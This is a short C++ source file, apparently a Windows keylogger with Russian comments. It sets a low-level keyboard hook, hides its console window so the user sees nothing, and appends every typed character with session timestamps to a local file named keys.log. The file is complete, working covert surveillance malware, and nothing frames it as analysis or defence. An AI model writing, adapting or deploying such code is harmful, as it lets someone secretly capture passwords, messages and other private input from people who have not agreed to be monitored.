Загрузка данных


// keylogger.cpp - Компилировать с I686 F Tools
#include <windows.h>
#include <fstream>
#include <string>
#include <chrono>
#include <ctime>

std::ofstream logFile;
bool isRunning = true;

// Получение текущего времени
std::string getCurrentTime() {
    auto now = std::chrono::system_clock::now();
    auto time_t = std::chrono::system_clock::to_time_t(now);
    return std::ctime(&time_t);
}

// Обработчик клавиатуры
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode >= 0 && isRunning) {
        if (wParam == WM_KEYDOWN) {
            KBDLLHOOKSTRUCT *p = (KBDLLHOOKSTRUCT*)lParam;
            
            // Получаем символ
            char keyChar[2] = {0};
            BYTE keyboardState[256];
            GetKeyboardState(keyboardState);
            
            WORD wChar = 0;
            if (ToAscii(p->vkCode, p->scanCode, keyboardState, &wChar, 0) > 0) {
                keyChar[0] = (char)wChar;
                logFile << keyChar[0];
                logFile.flush();
            }
        }
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// Скрытие окна
void HideConsole() {
    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);
}

int main() {
    // Открываем файл лога
    logFile.open("keys.log", std::ios::app);
    logFile << "\n=== Session started: " << getCurrentTime() << "===\n";
    
    // Скрываем консоль
    HideConsole();
    
    // Устанавливаем хук
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    
    if (hook == NULL) {
        logFile << "Error installing hook!\n";
        logFile.close();
        return 1;
    }
    
    // Основной цикл
    MSG msg;
    while (isRunning && GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    
    // Очистка
    UnhookWindowsHookEx(hook);
    logFile << "\n=== Session ended: " << getCurrentTime() << "===\n";
    logFile.close();
    
    return 0;
}